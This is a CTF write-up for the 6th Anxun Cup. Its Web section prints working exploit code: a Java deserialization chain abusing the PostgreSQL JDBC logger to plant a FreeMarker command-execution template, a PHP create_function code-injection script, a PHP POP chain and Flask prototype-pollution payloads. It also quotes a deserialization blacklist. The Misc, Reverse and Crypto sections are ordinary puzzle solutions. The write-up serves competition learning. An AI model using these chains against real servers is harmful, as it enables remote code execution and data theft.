December 24, 2023

第六届安洵杯网络安全挑战赛 Writeup

Web

排名:8

ezjava

拿了个一血
比较有意思的一题,给了CB和PSQL(vul)的依赖。但是链子断开了。我们需要想办法接上CB链的compare,这里我找到的是Treebag和Treemap,多的就不说,直接放exp了

断链修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/**
* exec:347, Runtime (java.lang)
* <init>:-1, a
* newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
* newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
* newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
* newInstance:422, Constructor (java.lang.reflect)
* newInstance:442, Class (java.lang)
* getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
* newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
* getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
* invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
* invoke:62, NativeMethodAccessorImpl (sun.reflect)
* invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
* invoke:497, Method (java.lang.reflect)
* invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
* getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
* getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
* getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
* getProperty:464, PropertyUtils (org.apache.commons.beanutils)
* compare:163, BeanComparator (org.apache.commons.beanutils)
* siftDownUsingComparator:721, PriorityQueue (java.util)
* siftDown:687, PriorityQueue (java.util)
* heapify:736, PriorityQueue (java.util)
* readObject:795, PriorityQueue (java.util)
* invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
* invoke:62, NativeMethodAccessorImpl (sun.reflect)
* invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
* invoke:497, Method (java.lang.reflect)
* invokeReadObject:1058, ObjectStreamClass (java.io)
* readSerialData:1900, ObjectInputStream (java.io)
* readOrdinaryObject:1801, ObjectInputStream (java.io)
* readObject0:1351, ObjectInputStream (java.io)
* readObject:371, ObjectInputStream (java.io)
* base64deserial:66, SerializeUtils (com.javasec.utils)
* deserTester:312, SerializeUtils (com.javasec.utils)
* main:22, cb1 (com.javasec.pocs.cb)
*/

cb链的调用栈如上,然后题目给的过滤如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.axb;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.ArrayList;
import java.util.Iterator;

public class MyObjectInputStream extends ObjectInputStream {
private static ArrayList<String> BLACKLIST = new ArrayList();

public MyObjectInputStream(InputStream in) throws IOException {
super(in);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Iterator var2 = BLACKLIST.iterator();

String s;
do {
if (!var2.hasNext()) {
return super.resolveClass(desc);
}

s = (String)var2.next();
} while(!desc.getName().startsWith(s));

throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}

static {
BLACKLIST.add("com.sun.jndi");
BLACKLIST.add("com.fasterxml.jackson");
BLACKLIST.add("org.springframework");
BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
BLACKLIST.add("java.security.SignedObject");
BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
BLACKLIST.add("java.lang.Runtime");
BLACKLIST.add("java.lang.ProcessBuilder");
BLACKLIST.add("java.util.PriorityQueue");
}
}

这里过滤了我们常见的链子,然后题目给的jdk环境是8u312,是高版本的jdk,那么jndi和rmi方面的就不要想了。所以思路就是给cb断链接上,compare方法还是很多的,熟悉一点的应该就该想起TreeMap/Bag套餐了。
TreeBag的readObject逻辑如下
image.png
image.png
这里会调用map的put方法,这里的map是treemap
image.png
image.png
那么我们只需要让compartor为BeanComparator即可。这样就可以完成后续的调用链,接上过后我们就可以触发任意类的getter了。这里题目特意给了个PgSQL的依赖,那我们就该往getConnection的JDBC ATTACK想了。

getter

这里我找到的是pgConnectionPoolDataSource,他是BaseDataSource的实现类,而BaseDataSource存在getConnection
image.png
那么我们只需要让BeanComparator的property为connection就好了,这样就会触发getter。

不出网利用

这里题目特地给了一个freemaker模板,那么肯定和ssti有关。题目的start.sh如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/sh
echo $D0g3CTF > /flag
chmod 444 /flag
unset D0g3CTF
iptables -P INPUT ACCEPT
iptables -F
iptables -X
iptables -Z
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -j DROP
iptables -P OUTPUT DROP
iptables -n -L
java -jar /app/ezjava.jar

做了不出网的限制。那思路就是覆盖index.ftl的内容,完成SSTI,最终payload如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.javasec;

import com.google.gson.Gson;
import com.javasec.utils.SerializeUtils;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bag.TreeBag;
import org.apache.commons.collections.comparators.BooleanComparator;
import org.apache.commons.collections.comparators.ComparableComparator;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.junit.Test;
import org.postgresql.ds.PGConnectionPoolDataSource;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.context.support.FileSystemXmlApplicationContext;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.rmi.Naming;
import java.util.*;

public class Demo {
@Test
public void test() throws Exception {
PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
String loggerLevel = "debug";
String loggerFile = "/app/templates/index.ftl";
String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
System.out.println(shellContent);
String jdbcUrl = "jdbc:postgresql://"+"123"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel;
pgConnectionPoolDataSource.setURL(jdbcUrl);
pgConnectionPoolDataSource.setServerNames(new String[]{shellContent});
BeanComparator comparator = new BeanComparator();
SerializeUtils.setFieldValue(comparator, "property", "connection");
TreeBag treeBag = new TreeBag(comparator);
TreeMap<Object,Object> m = new TreeMap<>();
SerializeUtils.setFieldValue(m, "size", 2);
SerializeUtils.setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
SerializeUtils.setFieldValue(node, "right", right);
SerializeUtils.setFieldValue(m, "root", node);
SerializeUtils.setFieldValue(m, "comparator", comparator);
SerializeUtils.setFieldValue(treeBag,"map",m);
System.out.println(SerializeUtils.base64serial(treeBag));
SerializeUtils.deserTester(treeBag);
}
}

生成后直接打入,可以看到flag
f5a0cc4743e3f83ecc7ecfa83e8e3f44.png

what’s my name

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name']
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
var_dump($miao);
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}

考的是匿名函数和create_func rce,算个签到题,这一题的话第一点就是绕过匿名函数和strlen的比较
首先介绍一下匿名函数,匿名函数其实是有名字的,为\x00lambda_%d,这个%d代指的是当前第几个匿名函数,所以我们需要不断发包,把匿名函数的尾缀和我们的strlen相同,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
i=1
url="http://47.108.206.43:30243/"
d0g3='11111"], $b["a"]);}system("env");//include'
print(len(d0g3))
name="\x00lambda_42"
print(name)
data={
"d0g3":d0g3,
"name":name
}
while True:
r=requests.get(url,params=data)
i=i+1
print(i)
print(r.text)
if "Is That My Name?" not in r.text:
break

flag在环境变量里。

ez_unserialize

简单的反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<?php
class Good{
public $g1;
private $gg2;

public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}

public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}

public function __get($arg1)
{
$this->ll2->ll2('b2');
}

public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
// if(666 == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}

class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
$a=new You();
$b=new Luck("213");
$d=new Luck("123");
$c=new Good($d);
$e=new Flag();
$e->SplFileObject="/FfffLlllLaAaaggGgGg";
$d->l1=$e;
$c->l1=$d;
$b->lll3=$c;
$a->y1=$b;
echo urlencode(serialize($a))
?>

没啥难度。用原生类去读目录和文件。

swagger_doc(未解出)

前言:这题未解出,只是放这记录下
好歹是看了一小时的题,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184

#coding=gbk
import json
from flask import Flask, request, jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True

app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
'code': 0,
'message': 'failed',
'result': None
}
response1={
'code': 1,
'message': 'success',
'result': current_time
}

response2 = {
'code': 2,
'message': 'Invalid request parameters',
'result': None
}
class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password

def setToken(self, token):
self.token = token

def __init__(self):
self.username="admin"
self.password="password"
self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')
User = MemUser()

def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500

return decorated

@app.route('/',methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
User.setUser(username,password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)

return jsonify(response2),400


@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401

return jsonify(response2), 400

@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
try:
if request.method == 'POST':
try:
new_password = request.get_json()
if new_password:

update(new_password, User)

updated_token = jwt.encode({'username': User.username, 'password': User.password},
app.config['SECRET_KEY'], algorithm='HS256')
User.token = updated_token
response = jsonify(response1)
response.set_cookie('token',updated_token)
return response
else:
return jsonify(response0), 401
except:
return "Something error?",505
else:
return jsonify(response2), 400

except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401

def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)


@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response


@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
if request.args.get('file'):
try:
if request.args.get('id'):
id = request.args.get('id')
else:
id = ''
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
if data.status_code != 200:
return data.status_code

if request.args.get('type') == "text":

return render_template_string(data.text)
else:
return jsonify(json.loads(data.text))
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?'
else:
return jsonify(response2)


if __name__ == '__main__':
app.run(host='0.0.0.0')

swagger-api的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
{
"swagger": "2.0",
"info": {
"description": "Interface API Documentation",
"version": "1.1",
"title": "Interface API"
},
"paths": {
"/api-base/v0/register": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Registration API",
"description": "Used for user registration",
"parameters": [
{
"name": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/login": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Login API",
"description": "Used for user login",
"parameters": [
{
"name": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/search": {
"get": {
"summary": "Information Query API",
"description": "Used to query information",
"parameters": [
{
"name": "file",
"in": "query",
"required": true,
"type": "string"
},
{
"name": "id",
"in": "query",
"required": false,
"type": "string"
},
{
"name": "type",
"in": "query",
"required": false,
"type": "string",
"description": "Default JSON format.If type is 'text',Text format will be returned"
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/update": {
"post": {
"consumes": [
"application/json"
],
"summary": "Change Password API",
"description": "Used to change user password",
"parameters": [
{
"name": "password",
"in": "body",
"required": true,
"schema": {
"type": "object",
"properties": {
"password": {
"type": "string"
}
}
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/logout": {
"get": {
"summary": "Logout API",
"description": "Used for user logout",
"responses": {
"200": {
"description": "success"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
}
},
"definitions": {
"UserRegistration": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
},
"UserLogin": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
}
},
"securityDefinitions": {
"TokenAuth": {
"type": "apiKey",
"name": "Authorization",
"in": "header"
}
},
"security": [
{
"TokenAuth": []
}
]
}

放到postman测试后不难发现有任意文件读取的接口,然后就获得了一开始的源码,然后就知道有个python原型链污染,这里我第一眼就知道是污染模板标识符,但哈哈哈哈我打不通远程环境,本地倒是通了,就当歇逼了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" : {"variable_start_string":"\u0027\u0022\u0022\u0027\u005d\u003a\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020"}
}
}
}
}

{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" : {"variable_end_string":"\n"}
}
}
}
}
{
"__init__" : {
"__globals__" : {
"app" : {
"_got_first_request" : null
}
}
}
}
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" : {"globals":{"value":"__import__('os').popen('id').read()"}}
}
}
}
}

{
"__init__" : {
"__globals__" : {
"app" : {
"env" : "yolo"
}
}
}
}

Misc

misc-dacongのWindows

从raw中dump出flag3.txt
image.png
根据题目提示重要的表被修改,即为注册表。在其中发现可疑数据,即为密钥
image.png
通过AES解密可得flag3
image.png
在Music文件夹下发现线索
image.png
发现要“听”音乐
image.png
将这些dump下来后发现是sstv解密,在编号为dacong39的下面发现flag1
image.png
通过搜索发现secret.rar
image.png
解压压缩包发现flag2.txt,snow隐写解得flag2
image.png
image.png

签到

打开即得
image.png

Nahida

通过工具re一下,获得可爱的纳西妲
image.png
image.png
后通过Nahida这一密钥用slienteye解密,获得flag
image.png
image.png

Misc-dacongのsecret

用工具进行盲水印解密,解得压缩包1密码
dacong1hao_fft.png
通过pngcheck发现IDAT头异常
image.png
提取加上png的文件头,爆破宽高,获得压缩包2密码
image.png
解得xiaohongmao.txt发现是base64隐写,通过脚本解得密码
image.png
通过JPHS解密得到flag
image.png

Reverse

我的牢大啊!!

在红框处发现关键性函数
image.png
image.png
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from ctypes import *
def decrypt(v, k):
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
delta =2654435769
sum1 = c_uint32(delta * 32)
for i in range(32):
v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
sum1.value -= delta
for i in range(4):
print(chr((v0.value>>8*i)&0xff),end='')
for i in range(4):
print(chr((v1.value>>8*i)&0xff),end='')

if __name__ == '__main__':
a = [3363017039, 1247970816, 549943836, 445086378, 3606751618, 1624361316, 3112717362, 705210466, 3343515702, 2402214294,
4010321577, 2743404694]
k = [286331153, 286331153, 286331153, 286331153]
for i in range(0,len(a),2):
res = decrypt(a[i:i+2], k)

解得flag
image.png

感觉有点点简单??

在主函数中发现有两次加密
image.png
魔改RC4
image.png
魔改Base64
image.png
爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
def ba64_decode(str1_1):
mapping = "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh"
data_1 = [0] * 4
flag_1 = [0] * 3
for i in range(32, 127):
for y in range(32, 127):
for k in range(32, 127):
flag_1[0] = i
flag_1[1] = y
flag_1[2] = k
data_1[0] = (mapping[flag_1[0] & 0x3f])
data_1[1] = (mapping[(4 * (flag_1[1] & 0xF)) | ((flag_1[0] & 0xC0) >> 6)])
data_1[2] = (mapping[(16 * (flag_1[2] & 3)) | (flag_1[1] & 0xf0) >> 4])
data_1[3] = (mapping[(flag_1[2] & 0xfc) >> 2])

if data_1 == str1_1:
print(flag_1)
return
print("failure!")
encoded_str = list("6zviISn2McHsa4b108v29tbKMtQQXQHA+2+sTYLlg9v2Q2Pq8SP24Uw")
for i in range(0, len(encoded_str), 4):
print("encData=", [x for x in encoded_str[i:i + 4]])
ba64_decode([x for x in encoded_str[i:i + 4]])
import requests
import base64
import hashlib
def rc4_decrypt(key, ciphertext):
key_length = len(key)
S = list(range(64))
j = 0
for i in range(64):
j = (j + S[i] + key[i % key_length]) % 64
S[i], S[j] = S[j], S[i]
i = j = 0
plaintext = bytearray()
for char in ciphertext:
i = (i + 1) % 64
j = (j + S[i]) % 64
S[i], S[j] = S[j], S[i]
keystream_byte = S[(S[i] + S[j]+(i^j)) % 64]
plaintext.append(char ^ ((i^j)&keystream_byte))
return bytes(plaintext)
key = [ord(x)for x in 'the_key_']
data = [92, 33, 123,51, 81, 51,56, 40, 58,43, 48, 64,22, 44, 51,37, 54, 4,56, 70, 81
,60, 37, 74,19, 51, 57,59, 105, 39,77, 41, 51,20, 51, 70,48, 49, 50,0]
print(rc4_decrypt(key,data))

Crypto

010101

这道题我看到的时候,发现再怎么改0或改1,都离不开p1,那就干脆直接爆破就行。
当时试了nc获得的两组数,第一组不行,第二组直接秒出???绝了(((
代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from sage.all import *
from Crypto.Util.number import *
from gmpy2 import *

"""
交互获得相关参数
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import *
import string
import itertools
table = string.ascii_letters + string.digits
io = remote(host='124.71.177.14', port=10001)
def pow1():
io.recvuntil(b'XXXX + ')
suffix = io.recv(16).decode("utf8")
io.recvuntil(b':')
cipher = io.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, table, length=4, method='fixed')
io.sendlineafter(b'XXXX:\n', proof.encode())
return cipher
pow1()
print(1)
io.interactive()
"""

n = 792908794100958630009551791192012788215767793376515923386150557751669440792099379721797863861528850270410442732340261232835729586736727652408261879302580402737461544005714770675176818949283961385523984555021916340005026316919722095079493612335316090685462008977402970837596267459493545692026071981177193003203425947464585563483693433909740049216472576492560671118567309776235209897710370428452390888487198265771900508210932412185467020691290132534307467324083322275977321788250381967700577917107380118849821575050844480149313881647170152691473830183471738191475512162348449177251887945023598843307733334574999785412893451977914058501753150193485223302926743833969852813275492521331132383949310342147308210216661506704904482949985300647206141570640200752477195588469779339401778107606588819974878384559339381155916295541596270900322077570269853558166244206015042715432187519785589225932667246444820707537160646628170425508292260369706711388272811878145289450542635611610706989936485646092106469891231267860870036165273651666313209892657854523552183928438066220053483804867149015247700053607773706653112889208575942032966056369438598458733695849741935864655386178471496015269253667788679960793946563340487185863323609264093766494635279
p = "11001111100100001100100101000101011011111011110011001000011110010100110110000000001101101000010011101011010110101010011100111001110011100110111101101010001101111001000101110001101110001000111010000010110110111101010101010111100011110000010101111011001010101010010110111010001100111110001011010010101000110100010001101011111011100110111011111010111100100100100000010100001110010010011001011011111001111111111001010010000110101100100110010001101010110000001001100110010110111011011010011101010111001011110111000111000001011000010010000010011111000010001000100001001000000001110100001001110000001001110001000110010110100010101100110010010011111011001000111000000101110011110010110100111110010100001101001100010101011001111110100110000010000110110001010101100101010100001101111010010101011011101101110100011100111011011111110111110000110101111111110110111111100111010101100001111000111110001000111011010010111110001100111110110001110111011010111100010110100011001010000011111001101111100010100011001100000001111110110101000001110111110110100110111001011111100001000101010100101001101000110101111111001110110111100010001000001011111000001000010001010010001000001000001100010100001010101110100101000111110111111100000100110011111111100001100010011011101100111010111011111111010000111100001011100000011011011101001010110000110000100011111010001000100110110101011011011101101001010100100011111011100011001010001011110010001011100100111110101010100001111001110010100011111111011010101001011001110100101010101110011010010011010001011001000101110110111101100000000111010000001101101000110010101011101100011011010100000111110011100000101100011001011010101010011010000110000100101010000111010000010000111101011101001110000100001011001000101111111010001111101100111100001111010111000111110000000100101101011100110100010010100110010110111110010101110100100110110111111101101001101001111111000001010010111101011100010001110100001100111100100101000011000010010101110011000001011000100111010001101011010001010001010100010000111100101011010011001001001001010001011111"
c = 648659996883132958452475257796602613189879301487847405216471007121754749951298363233382180834913540764092786940057181080927355660460381395088372867913133735422392932952816604006704596327756935266986129910479506882505907904430233867679401421389953487086323164592136087279311125475047621905660123041626641630706061455304484397649405719759701653263864099184519170798389332085634207142922924038004431413134417655421711267137466093925090771713675539684916815370659619667380263644049047570344389362078129275437500570867974487770126973576722227465911421045974648213121152349083537361858857544102306973073891054803979730900133866130735788843220808943585448708741360225554842674800182282366156481974607480354344220723046812041982611668819405365830996211113516599832094310331887381328384247128254312242553157020432406205341981825116709024907807007331879710521475430927336325457264858100630743549523016981915086692403518518503721357940446862979918199049818595067530898875283476919541114287403472219721543779069906990917468926318716181543045853690891928785246098935450012073748844379428654539945552703394936794097508533965691992172631173810815273012001322704980308031015641924064797723100484379884550646204521617243857947530611802152697501529860

def attack(n, p, c):
p1 = p[:1024]
p2 = p[1024:]
ch = [i for i, c in enumerate(p1) if c == '0']
ch1 = [k for k, c in enumerate(p1) if c == '1']
for i in ch:
if i == 1023:
pp1 = p1[:1023] + "1"
else:
pp1 = p1[:i] + "1" + p1[i+1:]
for j in ch1:
if j == 0:
pp2 = "0"+ p2[1:]
if j == 1023:
pp2 = p2[:1023] + "0"
else:
pp2 = p2[:j] + "0" + p2[j+1:]
p = Integer(int(pp1+pp2, 2))
#print(n % p)
if n % p == 0:
# print(i, j)
q = n // p
d = invert(65537, (p-1)*(q-1))
m = long_to_bytes(int(pow(c,d,n)))
if b'D0g3' in m:
print(m)
return
attack(n, p, c)
# b'D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}'

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp